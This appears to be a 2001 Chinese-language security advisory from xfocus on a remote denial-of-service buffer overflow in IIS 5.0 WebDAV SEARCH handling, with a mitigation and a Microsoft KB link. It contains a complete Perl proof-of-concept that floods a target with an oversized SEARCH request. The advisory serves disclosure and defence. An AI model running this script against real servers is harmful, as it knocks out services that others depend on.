xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

IIS 5.0 SEARCH 方式存在缓冲溢出


发布时间:2001-03-19
更新时间:2001-03-19
严重程度:
威胁程度:远程拒绝服务
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
IIS5.0
详细描述
Georgi Guninski发现一个新的针对IIS5的拒绝服务攻击,通过发送超长的(虽然合法)SEARCH请求到IIS5.0,会导致产生有关IIS服务的拒绝服务攻击。

这个问题可能与IIS 5.0 propfind 拒绝服务攻击原理一样,但这次拒绝服务攻击看起来可能破坏堆栈导致执行任意代码的可能,虽然没有被验证过。

测试代码
--vv6.pl-------------------------------------------------------------
#!/usr/bin/perl
use IO::Socket;
printf "IIS 5.0 SEARCH\nWritten by Georgi Guninski wait some time\n";
if(@ARGV < 2) { die "\nUsage: IIS5host port \n"; }
$port = @ARGV[1];
$host = @ARGV[0];
sub vv()
{
$ll=$_[0]; #length of buffer
$ch=$_[1];
$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return;
$over=$ch x $ll; #string to overflow
$xml='<?xml version="1.0"?><D:searchrequest xmlns:D="DAV:"><D:sql>SELECT DAV:displayname from SCOPE("'.$over.'")</D:sql></D:searchrequest>'."\n";
$l=length($xml);
$req="SEARCH / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n";
syswrite($socket,$req,length($req));
print ".";
$socket->read($res,3000);
print "r=".$res;
close $socket;
}
do  vv(126000,"V");
sleep(1);
do  vv(126000,"V");
#Try 125000 - 128000

解决方案
怎么不启用WebDav扩展和PROPFIND,请查看如下地址描述:

http://www.microsoft.com/technet/support/kb.asp?ID=241520

相关信息
这个信息有Georgi Guninski(guninski@GUNINSKI.COM)提供。